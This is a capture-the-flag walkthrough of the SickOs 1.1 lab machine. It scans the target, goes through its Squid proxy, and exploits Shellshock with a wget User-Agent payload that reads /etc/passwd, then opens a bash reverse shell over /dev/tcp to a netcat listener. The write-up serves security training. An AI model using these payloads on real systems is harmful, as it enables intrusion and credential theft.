sickos:1.1 | Bob1Bob2

From Vulhub

Tools:

netdiscover
Nmap
Metasploit
FoxyProxy

Use netdiscover to detect target IP address

netdiscover -i eth0 -r 192.168.79.0/24

[title manually exploit [alt text]]

192.168.79.178 is the target.

Then run nmap to detect opening ports and running services on the target machine.

nmap -sV -v -O -A -T5 192.168.79.178 -p-

[title manually exploit [alt text]]

Looks like port 22 and port 3218 are openning. Port 3218 is running Squid. open msfconsole, search squid. I found that:

[title manually exploit [alt text]]

Then use this module to scan the squid service:

[title manually exploit [alt text]]

Looks like port 80 is opened:

[title manually exploit [alt text]]

Use FoxyProxy add-on to configure proxy:

[title manually exploit [alt text]]

now visit http://192.168.79.178

[title manually exploit [alt text]]

now let’s use nikto to scan the server:

nikto -h localhost -useproxy http://192.168.79.178:3128

[title manually exploit [alt text]]

looks like there is a shellshock vuln

Let’s test it:

wget -q -O- -U "() { test;};echo \"content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" -e use_proxy=on -e http_proxy=192.168.79.178:3128 "http://192.168.79.178/cgi-bin/status"

[title manually exploit [alt text]]

It works and looks there is an account sickos.

Now lets setup reverse shell.

netcat-style shell access without netcat:

/bin/bash -i > /dev/tcp/[yourip]/[port] 0<&1

in one terminal:

nc -nlvp 4444

in another terminal:

wget -q -O- -U "() { test;};echo \"content-type: text/plain\"; echo; echo; /bin/bash -i > /dev/tcp/192.168.79.173/4444 0<&1" -e use_proxy=on -e http_proxy=192.168.79.178:3128 "http://192.168.79.178/cgi-bin/status"

get the shell:

[title manually exploit [alt text]]